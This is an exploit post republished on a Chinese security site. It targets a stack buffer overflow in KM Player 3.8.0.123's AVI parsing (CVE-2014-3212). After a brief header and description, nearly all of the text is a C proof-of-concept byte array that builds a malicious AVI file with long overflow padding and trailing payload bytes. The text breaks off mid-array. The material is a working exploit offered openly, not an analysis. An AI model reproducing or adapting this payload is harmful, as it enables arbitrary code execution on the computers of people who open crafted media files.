首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置：主页>安全文章>文章资料>Exploits>文章内容
KM Player 3.8.0.123 Stack Buffer Overflow
来源：vfocus.net 作者：Aryan 发布时间：2014-05-06   
# Exploit Title: [Kmplayer stack overflow vulnerability latest Version
3.8.0.123 ]
# Date: [2014/05/04]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : https://www.linkedin.com/profile/view?id=276969082
# Vendor Homepage: [www.kmplayer.com]
# Software Link: [
http://filehippo.com/download_kmplayer/download/30f8de407469f3a6d207e907c1b6726e/
]
# Version: [Version 3.8.0.123 and prior to that]
# Tested on: [Windows Xp Sp 3 x86]
# CVE : [CVE-2014-3212]

details:

KM Player latest version is vulnerable to a stack based buffer overflow
vulnerability due to improper handling of buffers when parsing AVI file
format which allow attackers to execute arbitrary code .
tested on Windows XP SP3 x86
.

poc:

#include "stdafx.h"
#include <Windows.h>
#include <conio.h>

unsigned char sc[] =
{
0x52,0x49,0x46,0x46,0xE8,0x69,0x04,0x00,0x41,0x56,0x49,0x20,0x4C,0x49,0x53,0x54,0xC0,0x00,0x00,0x00,0x68,0x64,0x72,0x6C,0x61,0x76,0x69,0x68,0x38,0x00,0x00,0x00,0x9B,0x6F,0x00,0x00,0x5E,0x74,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x08,0x00,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x0C,0x00,0x00,0x00,0x01,0x00,0x00,0xF0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x49,0x53,0x54,0x74,0x00,0x00,0x00,0x73,0x74,0x72,0x6C,0x73,0x74,0x72,0x68,0x38,0x00,0x00,0x00,0x76,0x69,0x64,0x73,0x63,0x76,0x69,0x64,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x00,0x00,0x02,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xF0,0x00,0x73,0x74,0x72,0x66,0x1F,0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0xF0,0x00,0x00,0x00,0x01,0x00,0x18,0x00,0x49,0x56,0x34,0x31,0x00,0x1C,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4A,0x55,0x4E,0x4B,0x18,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x00,0x00,0x4C,0x49,0x53,0x54,0x08,0x5B,0x04,0x00,0x6D,0x6F,0x76,0x69,0x30,0x30,0x64,0x62,0x72,0x07,0x00,0x00,0xF8,0xFF,0x83,0x70,0x07,0x00,0x0E,0x0F,0x00,0x10,0x80,0x0F,0x00,0x00,0x86,0x59,0x0C,0xE9,0x7D,0x00,0x80,0x17,0x00,0x0D,0xE9,0x05,0x86,0x40,0x8B,0x6C,0xC0,0xE0,0x10,0xC2,0x53,0xF2,0xD2,0x10,0x61,0x31,0x73,0x81,0x03,0xFE,0x77,0x1A,0x00,0x00,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9A,0xE7,0x79,0x9E,0xE7,0x78,0x9E,0xE7,0x79,0x9C,0xE7,0x38,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE3,0x79,0x9E,0xC7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x78,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x78,0x9E,0xE7,0x69,0x9E,0xE7,0x79,0x9A,0xE7,0x69,0x9A,0xA7,0x69,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x1E,0xE7,0x39,0x1A,0x63,0x39,0x1E,0xE7,0x79,0x8E,0xA7,0x58,0x9E,0x22,0x20,0x9E,0xE7,0x79,0x9A,0xE7,0x79,0x8E,0xA3,0x39,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0x79,0x0E,0xE7,0x79,0x9E,0xE7,0x79,0x9E,0xE7,0xF9,0xF0,0x1C,0xCF,0x72,0x30,0xC7,0xF2,0x3C,0xCF,0xF3,0x3C,0xC7,0x03,0x1C,0x0F,0x72,0x18,0xC0,0xF3,0x3C,0xCF,0x52,0x3C,0xCF,0x93,0x04,0x4F,0x23,0x3C,0x4E,0x03,0x4F,0xB8,0xEB,0xE2,0xEC,0x98,0x90,0xED,0x80,0x97,0xC5,0xF5,0x31,0xB7,0xCD,0xDE,0x71,0x7C,0xC0,0x87,0x26,0x8A,0x57,0x13,0xEF,0xF1,0x03,0x91,0x92,0x53,0x50,0xB2,0x84,0x06,0xFB,0x11,0x77,0x6C,0x72,0xAB,0x64,0xF0,0x9E,0x57,0xDD,0x64,0x31,0x4F,0x5C,0xC9,0x76,0x44,0xCA,0x16,0x0C,0x47,0xBC,0xA8,0x89,0x65,0x62,0x70,0xE2,0xEA,0x80,0x17,0x4E,0x5C,0x91,0x47,0xF1,0xA1,0x18,0x94,0x38,0x62,0x9C,0xB8,0x3A,0x60,0x97,0x25,0xE4,0xBC,0x89,0x89,0x60,0x61,0x60,0x2D,0x64,0xD3,0x3A,0xC6,0x22,0x8A,0x85,0x3D,0x48,0x93,0xB3,0x20,0x45,0x6E,0x63,0xC0,0xE6,0x86,0xE0,0x93,0xC4,0xC8,0xD9,0x51,0xF0,0xA2,0x78,0x13,0xC1,0xA6,0xBC,0x22,0xBA,0x59,0x90,0x2B,0xF6,0x22,0xEA,0xC9,0x23,0xE1,0xA5,0x43,0xB1,0x75,0x1F,0xF0,0x22,0x12,0xD3,0xE2,0xBD,0x9D,0xC4,0x31,0xD1,0xCC,0xEC,0x04,0x23,0x43,0xDF,0xB3,0x79,0xCC,0x0D,0xE7,0xB2,0x71,0xC5,0x3A,0x32,0x07,0xB2,0x0E,0x13,0xC1,0x19,0xC1,0x75,0xC4,0x78,0xC0,0x10,0xEC,0xD5,0xC5,0xC2,0xD6,0x2C,0xC5,0x56,0xC5,0x6D,0xB3,0x17,0x6F,0x46,0xF2,0x03,0x71,0xD6,0xAC,0x8D,0xDC,0x86,0xDC,0x10,0xAC,0xD5,0x2C,0x47,0x24,0x71,0x4C,0x70,0xC5,0xCC,0xCE,0xC0,0x47,0x3B,0x95,0x9B,0xE2,0xFA,0x88,0xA7,0x44,0xB1,0x3F,0xE2,0xE9,0x31,0x6B,0x05,0x4B,0x15,0x83,0x9C,0xF1,0xB0,0x39,0x0B,0x52,0xD9,0x8F,0x9A,0xA5,0x0D,0x0A,0xD9,0x26,0xF6,0x9A,0x70,0x0D,0x0A,0x52,0x3E,0xC4,0x81,0x9C,0xB3,0xB0,0xBD,0x63,0xE6,0x8A,0x5B,0xD6,0xC0,0xE3,0x63,0x9E,0x2E,0x51,0x72,0x5B,0x74,0xCA,0x56,0x0C,0x5C,0x2B,0x4B,0xC9,0xD5,0x31,0x1E,0x10,0x21,0x73,0x11,0xC7,0xAC,0x39,0x18,0xE4,0xC4,0x4D,0x61,0x37,0x51,0x64,0x61,0x71,0x75,0xC0,0xDC,0x24,0xC1,0xCE,0x80,0x3C,0x95,0x95,0xE2,0x8C,0xB7,0xDC,0x76,0x31,0x74,0x33,0x14,0xB7,0xDC,0x18,0xBC,0xE4,0x55,0xC9,0x8D,0xF7,0x78,0xCC,0xC6,0x3A,0x31,0x7F,0x10,0xCE,0x82,0x34,0x78,0x75,0xC0,0xC2,0x7B,0x82,0xC7,0xCD,0x73,0xD9,0x8A,0x96,0x39,0x82,0x9B,0xE6,0x9C,0x10,0xAB,0x19,0x8A,0x6B,0x79,0x4F,0x16,0xE7,0x35,0xF1,0xF4,0x9E,0x54,0xA2,0x58,0xD9,0x8A,0xBD,0xD8,0x9A,0xEB,0xE6,0x6C,0x62,0x1D,0x39,0x43,0x6E,0x8F,0x39,0x33,0x09,0xD4,0x66,0x61,0xF7,0x35,0x37,0x24,0x51,0xC4,0x18,0x5C,0x07,0x37,0xB2,0x94,0xAC,0x5C,0x33,0x44,0x10,0x13,0xBF,0xF1,0xFC,0x2A,0xE6,0x91,0x6F,0x7B,0xC8,0x4B,0xAE,0x39,0xAB,0xE6,0x8E,0x6B,0x0C,0x83,0xBD,0x82,0xB3,0x63,0x92,0xA8,0xE0,0x6D,0x85,0x3C,0x2F,0x0E,0x82,0xCB,0x0E,0x86,0xD3,0x7B,0x9E,0xF2,0x9E,0xC7,0x13,0x37,0xD1,0xEC,0xC5,0x36,0x71,0x6D,0xF3,0xA1,0x1B,0x3D,0x60,0xE3,0x95,0xD1,0x6C,0xC5,0xDD,0x01,0xD9,0xCD,0x39,0x3B,0x6F,0xA4,0x83,0x94,0xFC,0x40,0xDC,0x70,0x7B,0xC0,0x7E,0xC0,0xE2,0xC4,0x53,0x66,0x86,0x60,0x90,0x59,0x79,0xC3,0x75,0x29,0x67,0xBC,0x65,0x93,0x3D,0xB8,0x2A,0x31,0x08,0xB9,0x0E,0x39,0x63,0x60,0x8F,0xA0,0x27,0x26,0x79,0xC2,0x58,0x2F,0x87,0x18,0x96,0x89,0x27,0x9C,0xD5,0x11,0x4F,0xF8,0xD0,0xF9,0x32,0x3F,0x36,0x4F,0x78,0x91,0x51,0x4A,0x66,0x34,0x77,0xB1,0x1A,0x2C,0xAE,0xCA,0x35,0xD9,0x3C,0x7D,0x44,0x3C,0x62,0x2D,0x6E,0x27,0xDE,0x1F,0x71,0x53,0xBC,0x2A,0x42,0x79,0x7A,0xC4,0x52,0x7C,0xA4,0xE2,0xA5,0xDC,0x15,0x23,0xAF,0x8E,0xC9,0x91,0x0F,0x51,0x8C,0x3C,0x66,0x9E,0xF8,0x18,0x45,0x14,0x1F,0x5C,0xE6,0x90,0x8F,0x51,0x8C,0x3C,0x66,0x0B,0x9B,0x37,0x45,0x14,0x8F,0xAB,0xB8,0x29,0x9E,0x16,0x51,0x3C,0x2C,0x86,0xE2,0x8E,0xE0,0x96,0xB9,0x78,0x49,0xD6,0x93,0x47,0xC2,0x75,0x24,0x59,0xBC,0x27,0x8B,0x57,0x15,0xCC,0xCA,0xF3,0x7A,0xF2,0x48,0x08,0x5E,0x1D,0x31,0x14,0x77,0xBC,0x28,0xBE,0xF7,0xCD,0x6D,0x2C,0xD1,0xF2,0x4B,0xBC,0x38,0xE2,0x86,0xE0,0xB2,0xA9,0x81,0x8F,0x80,0x7C,0xCC,0x58,0xD8,0x8C,0x91,0x8F,0x40,0xF0,0x09,0x9B,0x25,0x06,0x3E,0x32,0x1F,0x37,0x07,0x3C,0xE5,0x53,0x92,0x3C,0x6E,0x66,0x07,0x3E,0x01,0xC9,0xC7,0x8C,0x81,0xA5,0x47,0x3E,0x02,0x1B,0x9F,0xF6,0x94,0x37,0x11,0xBC,0x67,0xE1,0x71,0x46,0xB3,0x36,0x1F,0x83,0x17,0x87,0x5C,0xF7,0xC4,0xC7,0x40,0x1E,0x46,0x90,0xC9,0x4B,0x06,0x3E,0x78,0x73,0xC7,0x15,0xAF,0x0C,0x9A,0x97,0x5C,0xCB,0x79,0xF3,0x21,0x98,0x59,0x39,0x97,0x97,0xBC,0x1A,0x82,0x2B,0x36,0xDE,0xF6,0xC4,0x55,0xF0,0xC5,0x22,0x46,0x79,0xB8,0x46,0xF4,0x07,0x09,0x3E,0xF5,0xD1,0xC8,0xE2,0xCC,0xE7,0x8B,0xE6,0xCD,0x6C,0x68,0xF0,0xF1,0x1F,0xF1,0xA6,0xF8,0x54,0x27,0x9C,0x1E,0xF3,0x51,0x8F,0x38,0x8B,0xE4,0xD3,0xCD,0x3F,0xC5,0xCC,0x67,0x35,0xF1,0x88,0x8F,0x59,0xA3,0xAC,0xB3,0xD3,0x07,0xE1,0x33,0x1E,0x11,0x47,0x7C,0x8A,0x41,0x6E,0x0E,0xF9,0x58,0x47,0x64,0xF1,0xE9,0x6A,0xF2,0x83,0x72,0x11,0x3C,0x2F,0xCE,0x8A,0x4F,0x31,0xF7,0x27,0x0F,0xE6,0xE1,0x80,0x4F,0x53,0xE4,0x11,0xB7,0x35,0xF2,0xF0,0x13,0xF3,0xF1,0x8B,0xBD,0xB8,0x1D,0x98,0xE7,0x03,0x2E,0x42,0x54,0x3E,0x5A,0x1C,0x72,0xC1,0x56,0x6C,0xC5,0x65,0x1E,0x73,0xB6,0x1C,0xF0,0xB4,0x88,0x90,0xEB,0xE4,0xFA,0x84,0x0F,0xA1,0xAC,0xC5,0xC0,0x07,0x98,0xF9,0x08,0xAC,0xCA,0x8B,0x85,0x97,0x87,0x0C,0xC5,0xC6,0x47,0x3B,0xE1,0xFD,0xC0,0x50,0x6C,0x85,0xC5,0x82,0x0C,0xC8,0x80,0xC8,0x80,0x04,0x41,0x12,0x04,0x81,0xC8,0xC2,0xCA,0xC2,0x40,0x22,0x1B,0x33,0x72,0x46,0x32,0x73,0x45,0xB2,0x32,0x30,0x20,0x49,0x10,0x04,0x33,0xB2,0x20,0xC9,0x86,0xC8,0xC0,0x5A,0x0C,0x0C,0xBC,0x20,0x90,0x0D,0x19,0x90,0x60,0x40,0x24,0x18,0x08,0x64,0xC0,0x62,0x61,0x60,0x8D,0x51,0x82,0x85,0xAF,0xEF,0x30,0x84,0x7C,0x81,0x39,0xC6,0x89,0x97,0xAC,0xCF,0x92,0xA1,0x65,0x23,0xF8,0x66,0x5E,0xC5,0x30,0x84,0x1E,0x46,0xF8,0x61,0x3E,0x10,0x9F,0x6B,0x8D,0x88,0x63,0x2E,0x48,0x6E,0x98,0x99,0x49,0x36,0x82,0x1D,0xB9,0x62,0x27,0xD8,0x58,0xD9,0x48,0x92,0x60,0xE1,0xA3,0xB5,0x6C,0x2D,0x5F,0xCA,0x3A,0xE6,0x2E,0xA2,0xF9,0x02,0x24,0x9F,0xE3,0x19,0x37,0xCD,0xC7,0x3A,0x15,0x4F,0xE5,0x8B,0xC6,0x14,0xDC,0xF0,0x69,0x4E,0x25,0x4E,0x7D,0xF2,0x50,0xF8,0x14,0x07,0x87,0x5C,0xE5,0xC4,0x27,0x6B,0x26,0x3E,0x26,0xD7,0x27,0x7C,0xF6,0x66,0x6E,0x3E,0x61,0x73,0x96,0x4E,0x7C,0x76,0x1E,0xC6,0x01,0x57,0xBC,0x8D,0x2E,0x3E,0xA6,0xF5,0xE4,0xA1,0x70,0x31,0xFC,0x1E,0x1F,0x7C,0x7E,0x76,0x92,0xCA,0x47,0x5D,0x3E,0x2C,0xDF,0x3B,0x8E,0x79,0x93,0x4E,0xCA,0xFE,0x81,0x4E,0xF8,0xA8,0xAB,0x1F,0x9B,0xF7,0x73,0x1E,0xBF,0x8B,0x27,0xA7,0xC2,0x67,0x9C,